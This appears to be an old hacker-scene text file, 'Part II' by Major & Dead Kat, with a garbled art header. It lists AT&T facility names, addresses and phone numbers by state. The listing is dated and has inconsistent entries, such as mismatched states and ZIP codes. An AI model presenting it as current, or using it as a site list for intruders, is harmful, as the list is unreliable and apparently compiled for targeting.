<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Part II
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> by Major & Dead Kat
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Some of the "Frequently Visited AT&T Locations":
|
|||
|
|
|
|||
|
|
LOCATION CITY ST/ZIP TELEPHONE
|
|||
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~ ~~~~~~~~~~~
|
|||
|
|
AT&T 1 PERIMETER PARK S. BIRMINGHAM AL 35243 205-969-4000
|
|||
|
|
BIRMINGHAM AMO 300 CHASE PK.SO., RIVERCHASE BIRMINGHAM AL 35243 205-988-9300
|
|||
|
|
MONTGOMERY MMC 2855 SELMA HIGHWAY MONTGOMERY AL 36108 205-281-6200
|
|||
|
|
AT&T 3280 DAUPHIN ST., BLDG B MOBILE AL 36606 205-470-1000
|
|||
|
|
LITTLE ROCK WORKS 7600 INTERSTATE #30 LTTL ROCK AR 72209 501-569-4411
|
|||
|
|
AT&T 10825 #2 FINANCIAL CNTR. SUITE 300 LTTL ROCK AR 72211 501-223-1000
|
|||
|
|
PHOENIX WORKS 505 N.51ST AVE PHOENIX AZ 85002 602-233-5000
|
|||
|
|
AT&T MICROELECT. SALES 432 N. 44TH ST. PHOENIX AZ 85008 602-204-1100
|
|||
|
|
PHOENIX CAC 3750 W. INDIAN SCHOOL RD. PHOENIX AZ 85019 602-269-6666
|
|||
|
|
AT&T 333 S. BEAUDRY AVE. L.A. CA 90017 213-481-9100
|
|||
|
|
AT&T 333 S. BEAUDRY AVE. L.A. CA 90017 213-482-5799
|
|||
|
|
LOS ANGELES CP (SVC) 2400 YATES AVE L.A. CA 90040 213-726-5000
|
|||
|
|
CYPRESS INNST. 6300 GATEWAY DR. CYPRESS CA 90630 714-220-6200
|
|||
|
|
AT&T MICROELEC. SLES 6300 GATEWAY DR. CYPRESS CA 90630 714-220-6223
|
|||
|
|
AT&T 200 NO. WESTLAKE BLVD. SUITE 103 TH.OAKS CA 91362 805-373-9390
|
|||
|
|
VANDENBURG AFB FED. SYS LOMPOC CA 93437 805-866-1611
|
|||
|
|
AT&T FED SYS 3201 SKYWAY DR. SAN MONICA CA 93455 805-349-8649
|
|||
|
|
AT&T 1111 E. HERNDON AVE. SUITE 31 FRESNO CA 93710 209-449-4200
|
|||
|
|
AT&T SAND HILL RD SUITE 216 MENLO PARK CA 94025 415-324-6000
|
|||
|
|
AT&T 224 AIRPORT PKWY SAN JOSE CA 94086 408-452-3200
|
|||
|
|
SUNNYVALE REG. CTR. 1090 E. DUANE AVE. SUNNYVALE CA 94086 408-522-4000
|
|||
|
|
HAYWARD SVC 1288 SAN LUIS OBISPO AVE. HAYWARD CA 94544 415-475-5000
|
|||
|
|
AT&T 4430 ROSEWOOD DR. PLEASANTON CA 94566 415-224-1000
|
|||
|
|
AT&T 1717 DOOLITTLE DR. SN LEANDRO CA 94577 415-678-1000
|
|||
|
|
SAN RAMON AMO BLD 2440 CAMINO RAMON SAN RAMON CA 94583 415-830-4300
|
|||
|
|
AT&T 2201 BROADWAY OAKLAND CA 94612 415-273-2800
|
|||
|
|
PACIFIC REGION MMC 3301 INDUSTRIAL AVE. ROCKLIN CA 95677 916-645-8911
|
|||
|
|
AT&T 8950 CALIFORNIA CNTR. DR. SACRAMENTO CA 95826 916-361-4600
|
|||
|
|
DENVER SVC CNTR. 11900 E. CORNELL AVE. AURORA CO 80014 303-368-2000
|
|||
|
|
AT&T 3190 S. VAUGHN WAY AURORA CO 80014 303-695-5000
|
|||
|
|
AT&T BMG 6200 S. SYRACUSE WAY ENGLEWOOD CO 80111 303-850-7000
|
|||
|
|
AT&T-NS SALES 707 17TH ST. DENVER CO 80202 303-291-4001
|
|||
|
|
DENVER SVC 2551 E. 40TH AVE. DENVER CO 80205 303-291-4200
|
|||
|
|
DENVER WORKS 1200 W. 120TH AVE DENVER CO 80234 303-538-1200
|
|||
|
|
AT&T-BL DENVER NO. 12110 PECOS ST. WESTMNSTR CO 80234 303-538-1813
|
|||
|
|
AT&T-BL 11900 N. PECOS ST. DENVER CO 80234 303-538-4011
|
|||
|
|
AT&T 7979 E. TUFTS AVE. DENVER CO 80237 303-290-3100
|
|||
|
|
AT&T 13952 DENVER WEST PKWY. GOLDEN CO 80401 303-273-2000
|
|||
|
|
AT&T FED SYS 6200 S. SYRACUSE WAY ENGLEWOOD CO 80401 303-793-8800
|
|||
|
|
AT&T-NS SALES 6300 GATEWAY DR. CYPRESS CO 90630 714-220-6200
|
|||
|
|
AT&T 8 TWO MILE RD FARMINGTON CT 06032 203-678-3800
|
|||
|
|
ORANGE CUST. REPAIR CTR. 50 BOSTON POST RD. ORANGE CT 06477 203-795-4721
|
|||
|
|
CONNECTICUT AMO 2750 DIXWELL AVE HAMDEN CT 06518 203-287-4070
|
|||
|
|
AT&T 777 LONGRIDGE RD STAMFORD CT 06851 203-845-5600
|
|||
|
|
AT&T 1825 I ST. N.W. SUITE 800 WASHINGTON DC 20006 202-429-1300
|
|||
|
|
WASH-DC 1120 20TH ST.,NW WASHINGTON DC 20006 202-457-2000
|
|||
|
|
AT&T 222 DELAWARE AVE. WILMINGTON DE 19801 302-888-6000
|
|||
|
|
AT&T 1401 E. BELMONT ST. PENSACOLA FL 32501 904-432-7454
|
|||
|
|
AT&T 151 S. WYMORE RD ALTA SPGS. FL 32714 407-869-2200
|
|||
|
|
AT&T 2301 MAITLAND CTR. PKWY. MAITLAND FL 32751 407-660-3200
|
|||
|
|
AT&T 2400 MAITLAND CTR. PKWY. MAITLAND FL 32751 407-660-3200
|
|||
|
|
AT&T 850 TRAFALGAR COURT MAITLAND FL 32751 407-660-3200
|
|||
|
|
AT&T 901 LAKE DESTINY DR. ORLANDO FL 32809 407-875-4400
|
|||
|
|
AT&T 8221 EXCHANGE DRIVE ORLANDO FL 32809 407-850-3000
|
|||
|
|
AT&T 6039 S. RIO GRANDE AVE. ORLANDO FL 32809 407-850-8000
|
|||
|
|
AT&T MICROELECT.9333 S. JOHN YOUNG PKWY ORLANDO FL 32819 407-345-6000
|
|||
|
|
AT&T 9701 S. JOHN YOUNG PARKWAY ORLANDO FL 32819 407-351-7100
|
|||
|
|
AT&T 100 WEST CYPRESS CREEK FT. LAUD. FL 33309 305-493-6100
|
|||
|
|
ATLANTA WKS 2000 NORTHEAST EXPRESSWAY NORCROSS GA 30071 404-447-2000
|
|||
|
|
AT&T FED SYS. 1975 LAKESIDE PKWAY TUCKER GA 30085 404-496-8200
|
|||
|
|
AT&T MICROELECT. SALES 3295 RIVER EXCH.DR NORCROSS GA 30092 404-390-5000
|
|||
|
|
AT&T 1200 PEACHTREE ST. NE ATLANTA GA 30309 404-390-5000
|
|||
|
|
ATLANTA FOC 7840 ROSEWELL RD. ATLANTA GA 30328 404-390-5000
|
|||
|
|
ATLANTA S. CTR. 6701 ROSEWELL RD. NE. ATLANTA GA 30328 404-573-4000
|
|||
|
|
AT&T 2970 CLAIRMONT RD. 4TH FL ATLANTA GA 30329 404-248-2126
|
|||
|
|
ATLANTA SVC 5885 FULTON IND'L BLVD. SW. ATLANTA GA 30336 404-346-4000
|
|||
|
|
ATL-ACCTS PAY 365 NORTHRIDGE RD. ATLANTA GA 30338 404-392-8900
|
|||
|
|
AT&T 2800 CENTURY CTR. PKWY ATLANTA GA 30345 404-320-3800
|
|||
|
|
ATLANTA DATA SYS 211 PERIMETER CTR. PKWY ATLANTA GA 30346 404-399-0100
|
|||
|
|
ATLANTA FIN.OPS MORGAN FLS ROSEWELL RD.,NE. ATLANTA GA 30350 404-390-5000
|
|||
|
|
AT&T 2300 NORTHLAKE CTR. TUCKER GA 30350 404-496-8200
|
|||
|
|
AT&T MMC INTERSTATE 80 & HIGHWAY 630 UNDERWOOD IA 51519 712-566-3300
|
|||
|
|
ROLLING MEADOWS 3800 GOLD RD. ROLNG MDWS IL 60008 708-290-2000
|
|||
|
|
AT&T MICROELECT. SALES 500 PARK BLVD ITASCA IL 60143 312-855-6300
|
|||
|
|
AT&T 150 MARTINDALE RD SHAUMBERG IL 60173 708-605-5000
|
|||
|
|
AT&T REPAIR & SRV. CTR. 1700 HAWTHORNE LN. W CHICAGO IL 60185 312-293-5100
|
|||
|
|
AT&T DATA SVCS 180 HANSEN CT. WOODDALE IL 60191 708-860-8100
|
|||
|
|
AT&T FED SYS 1411 OPUS PLACE DOWNERS GR IL 60515 708-810-4000
|
|||
|
|
AT&T 1111 W. 22ND ST. OAKBROOK IL 60521 708-571-5320
|
|||
|
|
UIS SHOWCASE 2600 WARRENVILLE RD. LISLE IL 60532 708-260-7900
|
|||
|
|
NWSW CTR. 2600 WARRENVILLE RD. LISLE IL 60532 708-510-4000
|
|||
|
|
NWSW CTR. CORPORATE LAKES 2500 CABOT DRIVE LISLE IL 60532 708-510-4000
|
|||
|
|
LISLE PS 850 WARRENVILLE RD. LISLE IL 60532 708-719-1005
|
|||
|
|
AT&T LISLE CTR 4513 WESTERN AVE. LISLE IL 60532 708-810-6000
|
|||
|
|
CEO-WEST 1195 SUMMER HILL DRIVE LISLE IL 60532 708-971-5000
|
|||
|
|
MONTGOMERY WORKS 800 S. RIVER ST. MONTGOMERY IL 60538 708-859-4000
|
|||
|
|
WARRENVILLE 28W. 615 FERRY RD. WARRENVILE IL 60555 708-393-8000
|
|||
|
|
INDIAN HILL COURT 1000 E. WARRENVILLE RD. NAPERVILLE IL 60566 708-305-3000
|
|||
|
|
IH PARK-BL 200 PARK PLAZA NAPERVILLE IL 60567 708-979-2000
|
|||
|
|
AT&T ONE S. WACKER DRIVE CHICAGO IL 60606 708-592-6558
|
|||
|
|
AT&T 11595 N. MERIDIAN ST. CARMEL IN 46032 317-844-6674
|
|||
|
|
INDIANAPOLIS INST.8700ROBERTS DR SUITE 100 FISCHERS IN 46038 317-578-0160
|
|||
|
|
INDIANA AMO N. 151 N.DELAWARE ST. SUITE565 INDIANAPOL IN 46204 317-632-9161
|
|||
|
|
INDIANAPOLIS SVC (CIC) 2855 N. FRANKLIN RD. INDIANAPOL IN 46219 317-352-0011
|
|||
|
|
INDIANAPOLIS HERITAGE PK 6612 E. 75TH ST. INDIANAPOL IN 46250 317-845-8980
|
|||
|
|
AT&T 404 COLUMBIA PLACE-SUITE 210 SOUTH BEND IN 46601 219-232-2000
|
|||
|
|
KANSAS CITY SVC CNTR. 9501 W. 67TH ST. MERRIAM KS 66203 913-677-6000
|
|||
|
|
AT&T 5401 COLLEGE BLVD. LEAWOOD KS 66211 913-491-9840
|
|||
|
|
AT&T 200 NO. BROADWAY, SUITE 400 WICHITA KS 67202 316-269-7500
|
|||
|
|
AT&T 9300 SHELBYVILLE RD LOUISVILLE KY 40222 502-429-1000
|
|||
|
|
AT&T 3500 N. CAUSEWAY BLVD. 10th FLOOR METAIRIE LA 70002 504-832-4300
|
|||
|
|
AT&T 4354 S. SHERWOOD FOREST BLVD. BATONROUGE LA 70816 504-922-6600
|
|||
|
|
AT&T 3010 KNIGHT ST., SUITE 190 SHREVEPORT LA 71105 318-869-2041
|
|||
|
|
SHREVEPORT WORKS 9595 MANSFIELD RD. SHREVEPORT LA 71108 318-459-6000
|
|||
|
|
AT&T 365 CADWELL DR. RM 168 SPRINGFLD MA 01104 413-785-4400
|
|||
|
|
AT&T MICROELECT. 111 SPEEN ST. FRAMINGHAM MA 01701 508-626-2161
|
|||
|
|
ANDOVER 20 SHATTUCK RD. ANDOVER MA 01810 508-691-3000
|
|||
|
|
AT&T-WARD HILL 75 FOUNDATION AVE. WARD HILL MA 01835 508-374-5600
|
|||
|
|
MERRIMACK VALLEY 1600 OSGOOD ST. N.ANDOVER MA 01845 508-960-2000
|
|||
|
|
AT&T ACCT MGMT 800 BOYLESTON ST. BOSTON MA 02110 617-437-8800
|
|||
|
|
AT&T-BL 800 BOYLESTON ST. BOSTON MA 02110 617-437-8870
|
|||
|
|
AT&T NAT'L ACCTS 100 SUMMER ST. BOSTON MA 02110 617-574-6000
|
|||
|
|
NEW ENGLAND SVC 705 MT. AUBURN ST. WATERTOWN MA 02172 617-923-0765
|
|||
|
|
AT&T 430 BEDFORD ST. LEXINGTON MA 02173 617-863-9000
|
|||
|
|
BETHESDA AMO 6410 ROCKLEDGE DR. BETHESDA MD 20817 301-493-2000
|
|||
|
|
AT&T FED SYS 1100 WAYNE AVE SLVR SPGS MD 20910 301-495-7400
|
|||
|
|
COCKEYSVILLE N.S. SALES 225 SCHILLING CRCL. COCKEYVLLE MD 21030 301-584-1234
|
|||
|
|
FEDERAL SYS. MD 9160 GUILFORD RD COLUMBIA MD 21045 301-369-7700
|
|||
|
|
COULUMBIA MD 9305D GERWIG LN. COLUMBIA MD 21046 301-381-6150
|
|||
|
|
AT&T 400 EAST PRATT ST. BALTIMORE MD 21202 301-576-5700
|
|||
|
|
TRANSPACIFIC COMM.,INC.1001 MCCOMAS ST. BALTIMORE MD 21230 301-385-0425
|
|||
|
|
AT&T 136 COMMERCIAL ST., FLR 2 PORTLAND ME 04101 207-761-1400
|
|||
|
|
AT&T 26957 NORTHWESTERN HWY. SOUTHFIELD MI 48034 313-353-6210
|
|||
|
|
AT&T-NS 27777 FRANKLIN RD., SUITE 500 SOUTHFIELD MI 48034 313-355-7200
|
|||
|
|
NILES MMC 2121 W. CHICAGO RD. NILES MI 49120 616-684-6400
|
|||
|
|
AT&T 2861 CHARLEROIX, S.E. GRAND RPDS MI 49546 616-957-8200
|
|||
|
|
AT&T 4480 W. ROUNDLAKE RD. ARDEN HLLS MN 55112 612-633-4803
|
|||
|
|
MINNEAPOLIS SC 2230 COUNTY RD. H2 MOUNDSVIEW MN 55112 612-780-7750
|
|||
|
|
AT&T 420 THIRD AVE. S., RM 670 MINEAPOLIS MN 55415 612-626-9300
|
|||
|
|
AT&T MICROELECT. SALES W 82ND ST BLOOMINGTN MN 55431 612-885-4600
|
|||
|
|
BALLWIN 1111 WOODS MILL RD. BALLWIN MO 63011 314-891-2000
|
|||
|
|
ST.LOUIS-NS 701 MARKET ST. SUITE 900 ST. LOUIS MO 63101 314-891-5000
|
|||
|
|
AT&T 400 S. WOODS MILL RD. CHSTRFLD MO 63107 314-275-1400
|
|||
|
|
AT&T 424 S. WOODS MILL RD. CHSTRFLD MO 63107 314-469-2500
|
|||
|
|
KANSAS CITY WORKS 777 N. BLUE PKWY LEESSUMMIT MO 64063 816-251-4000
|
|||
|
|
KANSAS CITY AMO 1100 WALNUT ST. KANSASCITY MO 64141 816-654-4000
|
|||
|
|
NC WORKS 3300 LEXINGTON RD. S.E. WIN-SALEM NC 27102 919-784-1110
|
|||
|
|
REYNOLDA RD. (DDO) 2400 REYNOLDA RD. WIN-SALEM NC 27106 919-727-3100
|
|||
|
|
BURLINGOTN NC 204 GRAHAM-HOPEDALE RD. BURLINGTON NC 27215 919-228-3000
|
|||
|
|
GUILFORD CTR. I-85 MT HOPE CHURCH RD. MCLEANSVLE NC 27301 919-279-7000
|
|||
|
|
NS 1701 PINECROFT RD. GREENSBORO NC 27407 919-855-2775
|
|||
|
|
AT&T 7031 ALBERT PICK RD., SUITE 300 GREENSBORO NC 27409 919-668-1800
|
|||
|
|
AT&T ENGR. 3330 W. FRIENDLY AVE. GREENSBORO NC 27410 919-379-5301
|
|||
|
|
AT&T MICROELECT. SALES 5400 GLENWOOD RD. RALEIGH NC 27612 919-881-8023
|
|||
|
|
AT&T 6701-A NORTHPARK BLVD. CHARLOTTE NC 28216 704-597-3050
|
|||
|
|
AT&T 2 CENTRAL PARK PLAZA OMAHA NE 68102 402-595-5001
|
|||
|
|
OMAHA AMO 222 S. 15th.ST, SUITE 200 S. OMAHA NE 68124 402-595-5001
|
|||
|
|
OMAHA WORKS 120 & 1 ST OMAHA NE 68137 402-691-3000
|
|||
|
|
AT&T 10843 OLD MILL RD OMAHA NE 68154 402-334-6000
|
|||
|
|
AT&T 4 BEDFORD FARMS BEDFORD NH 03102 603-623-6100
|
|||
|
|
SIMPLEX WIRE (TYCO LABS) 2073 WOODBURY AVE. NEWINGTON NH 03801 603-436-6100
|
|||
|
|
PARSIPPANY 260 CHERRY HILL RD. PARSIPPANY NJ 07054 201-299-3000
|
|||
|
|
PARSIPPANY 4 WOOD HOLLOW RD. PARSIPPANY NJ 07054 201-428-7700
|
|||
|
|
PARSIPPANY CP 5 WOOD HOLLOW RD. PARSIPPANY NJ 07054 201-581-3000
|
|||
|
|
AT&T 99 JEFFERSON RD. WOODHOLLOW III PARSIPPANY NJ 07054 201-581-5600
|
|||
|
|
AT&T 4 CAMPUS DRIVE PARSIPPANY NJ 07054 201-829-1000
|
|||
|
|
AT&T 700 LANIDEX PLAZA PARSIPPANY NJ 07054 201-884-7000
|
|||
|
|
AT&T 1515 RTE 10 PARSIPPANY NJ 07054 201-993-4200
|
|||
|
|
LIBERTY CORNER 184 LIBERTY CORNER RD WARREN NJ 07060 201-580-4000
|
|||
|
|
AT&T-BL WARREN SRVC. CTR. 5 REINMAN RD. WARREN NJ 07060 201-756-1527
|
|||
|
|
CLARK SHOPS 100 TERMINAL AVE. CLARK NJ 07066 201-396-4000
|
|||
|
|
SHORT HILLS BELL LABS 101 JFK PKWY SHORTHILLS NJ 07078 201-564-2000
|
|||
|
|
AT&T 5000 HADLEY RD SO.PLNFLD NJ 07080 201-668-3200
|
|||
|
|
QUALITY MGMT ENGIN. 650 LIBERTY AVE. UNION NJ 07083 201-851-3333
|
|||
|
|
AT&T 1480 ROUTE 9 N. WOODBRIDGE NJ 07095 201-750-3100
|
|||
|
|
TWO GATEWAY CTR. NEWARK NJ 07102 201-468-6000
|
|||
|
|
FREEHOLD AT&T JUNIPER PLAZA RT.9 FREEHOLD NJ 07728 201-577-5000
|
|||
|
|
AT&T-BL CRAWFORD HILL KEYPORT RD. HOLMDEL NJ 07733 201-888-7000
|
|||
|
|
AT&T-BL CRAWFORDS CORNER RD HOLDMEL NJ 07733 201-957-2000
|
|||
|
|
AT&T 307 MIDDLETOWN-LINCROFT RD. LINCROFT NJ 07738 201-576-4000
|
|||
|
|
RED HILL-BL 480 RED HILL RD MIDDLETOWN NJ 07748 201-949-3000
|
|||
|
|
AT&T 200 LAUREL AVE MIDDLETOWN NJ 07748 201-957-2000
|
|||
|
|
W. LONG BRANCH 185 MONMOUTH PKWY W.LG.BRNCH NJ 07764 201-870-7000
|
|||
|
|
SUMMIT 190 RIVER RD. SUMMIT NJ 07901 201-522-6555
|
|||
|
|
AT&T 233 MT. AIRY RD BSK RDGE NJ 07920 201-204-4000
|
|||
|
|
AT&T 188 MT. AIRY RD BSK RDGE NJ 07920 201-221-2000
|
|||
|
|
BASKING RIDGE 295 NO. MAPLE AVE. BSK RDGE NJ 07920 201-221-2000
|
|||
|
|
AT&T 131 MORRISTOWN RD BSK RDGE NJ 07920 201-953-3900
|
|||
|
|
AT&T RMC 222 MT. AIRY RD BSK RDGE NJ 07920 201-953-5300
|
|||
|
|
AT&T INTNAT'L MT. KEMBLE AVE BSK RDGE NJ 07920 201-953-7000
|
|||
|
|
AT&T-COMM. TR. 202-206N. BEDMINSTER NJ 07921 201-234-4000
|
|||
|
|
BERKELEY HEIGHTS 1 OAK WAY BRKLY HGTS NJ 07922 201-771-2000
|
|||
|
|
BERKELEY HEIGHTS 2 OAK WAY BRKLY HGTS NJ 07922 201-771-2000
|
|||
|
|
BERNARDSVILLE 4 ESSEX AVE BERNARDSVL NJ 07924 201-204-2701
|
|||
|
|
AT&T-BL NORTH RD CHESTER NJ 07930 201-879-3400
|
|||
|
|
MT. KEMBLE PLAZA 340 RTE. 202 S. MORRISTOWN NJ 07960 201-326-2000
|
|||
|
|
AT&T CAPITAL CORP. 44 WHIPPANY RD. MORRISTOWN NJ 07960 201-397-3000
|
|||
|
|
MORRISTOWN AMO 111 MADISON AVE. MORRISTOWN NJ 07960 201-631-3700
|
|||
|
|
AT&T 412 MOUNT KEMBLE AVE. MORRISTOWN NJ 07960 201-644-6000
|
|||
|
|
AT&T 60 COLUMBIA TRNPK MORRISTOWN NJ 07960 201-829-7200
|
|||
|
|
MORRIS BELL LABS 25 LINDSLEY DR. MORRISTOWN NJ 07960 201-898-1000
|
|||
|
|
AT&T 1 SPEEDWELL AVE. MORRISTOWN NJ 07960 201-898-2000
|
|||
|
|
AT&T 1776 ON THE GREEN MORRISTOWN NJ 07960 201-898-6000
|
|||
|
|
AT&T 100 SOUTHGATE PARKWAY MORRISTOWN NJ 07960 201-898-8000
|
|||
|
|
SOUTH GATE 475 SOUTH ST. MORRISTOWN NJ 07962 201-606-2000
|
|||
|
|
MURRAY HILL 600 MOUNTAIN AVE. MURRAYHILL NJ 07974 201-582-3000
|
|||
|
|
AT&T-T 40 MOUNTAIN AVE. MURRAYHILL NJ 07974 201-665-7000
|
|||
|
|
WHIPPANY BELL LABS WHIPPANY RD WHIPPANY NJ 07981 201-386-3000
|
|||
|
|
PENNSAUKEN SUP. 1077 THOM. BUSH MEM. HWY PENNSAUKEN NJ 08110 609-488-9020
|
|||
|
|
HOPEWELL-ERC CARTER RD. HPWL TNSHP NJ 08525 609-639-1234
|
|||
|
|
HOPEWELL-CEC CARTER RD. HPWL TNSHP NJ 08525 609-639-4500
|
|||
|
|
AT&T 29-C EMMONS DRIVE PRINCETON NJ 08540 609-987-3000
|
|||
|
|
LAWRENCEVILLE-CEC 3131 PRINCETON OFC PK LRNCVLLE NJ 08648 609-896-4000
|
|||
|
|
AT&T COMM (IMS) 1300 WHITE HOUSE TRENTON NJ 08690 609-581-1000
|
|||
|
|
AT&T 745 RT 202/206N BRIDGEWATR NJ 08807 201-231-6000
|
|||
|
|
AT&T 95 CORPORATE DR. BRIDGEWATR NJ 08807 201-658-5000
|
|||
|
|
AT&T MARKTG CTR 55 CORPORATE DR. BRIDGEWATR NJ 08807 201-658-6000
|
|||
|
|
AT&T 485 U.S. ROUTE 1 S., PKWY TOWERS ISELIN NJ 08830 201-855-8000
|
|||
|
|
AT&T 80 NORTHFIELD AVE. EDISON NJ 08837 201-225-8700
|
|||
|
|
AT&T 20 KNIGHTSBRIDGE RD PISCATAWAY NJ 08854 201-457-1028
|
|||
|
|
AT&T 30 KNIGHTSBRIDGE RD PISCATAWAY NJ 08854 201-457-2000
|
|||
|
|
AT&T 180 CENTENNIAL AVE. PISCATAWAY NJ 08854 201-457-6000
|
|||
|
|
AT&T CORP ED. 140 CENTENNIAL AVE. PISCATAWAY NJ 08854 201-457-7000
|
|||
|
|
AT&T 371 HOES LN. PISCATAWAY NJ 08854 201-463-2200
|
|||
|
|
AT&T 242 OLD NEW BRUNSWICK RD PISCATAWAY NJ 08854 201-562-6900
|
|||
|
|
AT&T 100 ATRIUM WAY SOMERSET NJ 08873 201-560-1300
|
|||
|
|
AT&T PIXEL MACHINES 1 EXEC.DR. SOMERSET NJ 08873 201-563-2200
|
|||
|
|
HOLMDEL-BL CRAWFORDS CORNER RD HOLMDEL NJ 07733 201-949-3000
|
|||
|
|
AT&T 1001 MENAUL BLVD. N.E. B345 ALBUQURQUE NM 87107 505-761-6300
|
|||
|
|
SANDIA NAT'L LABS 1515 EUBANK BLVD. S.E. ALBUQURQUE NM 87123 505-844-5678
|
|||
|
|
AT&T 220 EDISON WAY RENO NV 89502 702-239-7015
|
|||
|
|
AT&T ENVIRON SAFETY 32 AVE. OF AMERICAS NEW YORK NY 10013 212-219-6396
|
|||
|
|
AT&T-NYC 22 CORTLANDT ST. NEW YORK NY 10017 212-393-9800
|
|||
|
|
550 MADISON AVE. NEW YORK NY 10022 212-605-5500
|
|||
|
|
NS ONE PENN PLAZA SUITE 5420 NEW YORK NY 10119 212-714-5900
|
|||
|
|
AT&T 2 MANHATTANVILLE RD. PURCHASE NY 10577 914-251-0700
|
|||
|
|
SUFFERN MMC 22 HEMION RD. SUFFERN NY 10901 914-577-6600
|
|||
|
|
AT&T 520 BROAD HOLLOW RD. MELVILLE NY 11747 516-420-3000
|
|||
|
|
ALBANY 11 26 AVIATION RD. ALBANY NY 12205 518-489-4615
|
|||
|
|
AT&T 16 CORPORATE WOODS BLVD. ALBANY NY 12211 518-447-6900
|
|||
|
|
AT&T 2 JEFFERSON PLAZA, FLR 2 POUGHKEPSE NY 12601 914-485-7744
|
|||
|
|
AT&T MARKETING 6597 KINNE RD SYRACUSE NY 13214 315-445-3800
|
|||
|
|
AT&T 300 PEARL ST. OLYMPIA TOWERS BUFFALO NY 14202 716-849-6000
|
|||
|
|
BUFFALO INSTALL. 25 JOHN GLENN DR. AMHERST NY 14228 716-691-2711
|
|||
|
|
AT&T 1 MARINE MIDLAND PLZ. ROCHESTER NY 14604 716-777-4400
|
|||
|
|
CET 5151 BLAZER MEM. PKWY DUBLIN OH 43017 614-764-5454
|
|||
|
|
COLUMBUS WORKS 6200 E. BROAD ST. COLUMBUS OH 43213 614-860-2000
|
|||
|
|
AT&T ONE SEAGATE, SUITE 750 TOLEDO OH 43604 419-245-3700
|
|||
|
|
AT&T-NS 55 ERIEVIEW PLAZA 4TH FL. CLEVELAND OH 44114 216-664-6500
|
|||
|
|
ADP 7007 E. PLEASANT VALLEY INDEPNDNCE OH 44131 216-447-1980
|
|||
|
|
NAT'L ACCOUNT 1 FIRST NAT'L PLAZA DAYTON OH 44502 513-449-7800
|
|||
|
|
AT&T 7725 W. RENO AVE. OK. CITY OK 73126 405-491-3000
|
|||
|
|
AT&T LGE BUS. MACHINES 2020 S.W. 4TH AVE. PORTLAND OR 97201 503-295-5000
|
|||
|
|
AT&T MICROELECT 1220 SW GREENBURGH RD PORTLAND OR 97223 503-244-3883
|
|||
|
|
AT&T COMMERCE CT. 4 STATION SQ. SUITE 770 PITTSBURGH PA 15219 412-338-4800
|
|||
|
|
AT&T 4 GATEWAY CTR. SUITE 500 PITTSBURGH PA 15222 412-392-8200
|
|||
|
|
AT&T 470 STREETS RUN RD. PITTSBURGH PA 15236 412-882-1845
|
|||
|
|
HARRISBURG 2080 LINGLESTOWN RD. HARRISBURG PA 17110 717-540-7251
|
|||
|
|
ALLENTOWN-BETHLEHEM 2255 AVE. A BETHLEHEM PA 18018 215-861-2700
|
|||
|
|
AT&T-BL STC RT 222 BREINIGSVL PA 18103 215-391-2000
|
|||
|
|
AT&T MICROELECT. 961 MARCON BLVD. ALLENTOWN PA 18103 215-266-2900
|
|||
|
|
ALLENTOWN-BL 1247 SO. CEDAR CREST BLVD. ALLENTOWN PA 18103 215-770-2200
|
|||
|
|
AT&T 1 IMPERIAL WAY 2ND FL. ALLENTOWN PA 18195 215-398-5800
|
|||
|
|
AT&T 3 BALA PLAZA WEST BLDG. BALA CYNWD PA 19004 215-581-2400
|
|||
|
|
AT&T 514 KAISER DR. FOLCROFT PA 19032 215-724-5250
|
|||
|
|
AT&T 1800 JFK BLVD., SUITE 1300 PHILADELPH PA 19103 215-972-1300
|
|||
|
|
KING OF PRUSSIA 601 ALLENDALE RD. KING OF PR PA 19406 215-768-2600
|
|||
|
|
READING WORKS 2525 N. 12TH ST. READING PA 19604 215-939-7011
|
|||
|
|
AT&T NASSAU RECYCLE 4201 W. COLUMBIA CASEY SC 29033 803-796-4720
|
|||
|
|
AT&T 1201 MAIN ST. 22ND FL. COLUMBIA SC 29201 803-733-3800
|
|||
|
|
AT&T 111 WESTWOOD PL. 3RD FL. BRENTWOOD TN 37027 615-377-4000
|
|||
|
|
AT&T MICROELECT. 195 POLK AVE. NASHVILLE TN 37211 615-749-8222
|
|||
|
|
AT&T REPAIR CTR 653 MAINSTREAM DR. NASHVILLE TN 37228 615-242-1950
|
|||
|
|
NASHVILLE MSL 566 MAINSTREAM DR. NASHVILLE TN 37228 615-256-4111
|
|||
|
|
AT&T 9041 EXECUTIVE PARK KNOXVILLE TN 37923 615-690-3400
|
|||
|
|
AT&T-NS SALES 909 E.LAS COLINAS BLVD IRVING TX 75039 214-401-4700
|
|||
|
|
